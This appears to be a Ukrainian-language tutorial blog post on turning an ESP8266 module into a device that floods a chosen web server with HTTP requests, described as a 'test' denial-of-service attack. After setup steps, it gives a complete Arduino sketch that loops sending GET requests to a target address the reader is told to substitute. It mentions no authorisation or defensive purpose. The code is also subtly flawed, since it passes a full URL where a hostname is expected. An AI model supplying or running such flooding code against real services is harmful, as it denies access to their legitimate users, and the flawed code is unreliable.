ESP8266 — це відомий модуль Wi-Fi, який широко використовується для підключення пристроїв до інтернету. Завдяки своїй доступній ціні та простоті використання, він часто застосовується в проектах IoT. У цій статті ми розглянемо, як можна створити тестову модель атаки типу DoS (Denial of Service) через HTTP-протокол з використанням ESP8266.
DoS-атака спрямована на виведення системи з ладу шляхом перевантаження її великою кількістю запитів. В результаті цього легітимні користувачі втрачають можливість доступу до сервісу.

Для цього проекту вам знадобиться:
Модуль ESP8266 (наприклад, NodeMCU або ESP-01).
USB кабель для підключення ESP8266 до комп’ютера.
Arduino IDE для програмування модуля.
Встановіть Arduino IDE: Завантажте та встановіть Arduino IDE з офіційного сайту.
Встановіть підтримку ESP8266: Відкрийте Arduino IDE, перейдіть до File -> Preferences. Додайте наступну URL до додаткових менеджерів плат: http://arduino.esp8266.com/stable/package_esp8266com_index.json. Після цього перейдіть до Tools -> Board -> Boards Manager, знайдіть і встановіть “ESP8266”.
Підключіть ESP8266: Підключіть ESP8266 до комп’ютера через USB. У меню Tools -> Board виберіть свою модель ESP8266, а також виберіть відповідний порт у Tools -> Port.
Тепер створимо простий скрипт, який надсилатиме HTTP-запити до цільового сервера. Код виглядатиме так:
#include <ESP8266WiFi.h>
const char* ssid = "your_SSID";
const char* password = "your_PASSWORD";
const char* target = "http://example.com"; // Замініть на цільову адресу
void setup() {
Serial.begin(115200);
WiFi.begin(ssid, password);
while (WiFi.status() != WL_CONNECTED) {
delay(1000);
Serial.println("Connecting...");
}
Serial.println("Connected!");
}
void loop() {
if (WiFi.status() == WL_CONNECTED) {
WiFiClient client;
if (client.connect(target, 80)) {
client.println("GET / HTTP/1.1");
client.println("Host: example.com");
client.println("Connection: close");
client.println();
client.stop();
Serial.println("Request sent");
}
}
delay(100); // Затримка між запитами
}
Після написання коду завантажте його на ESP8266 через Arduino IDE, натиснувши кнопку “Upload”.
Відкрийте серійний монітор (Tools -> Serial Monitor), щоб побачити повідомлення про те, що запити надсилаються.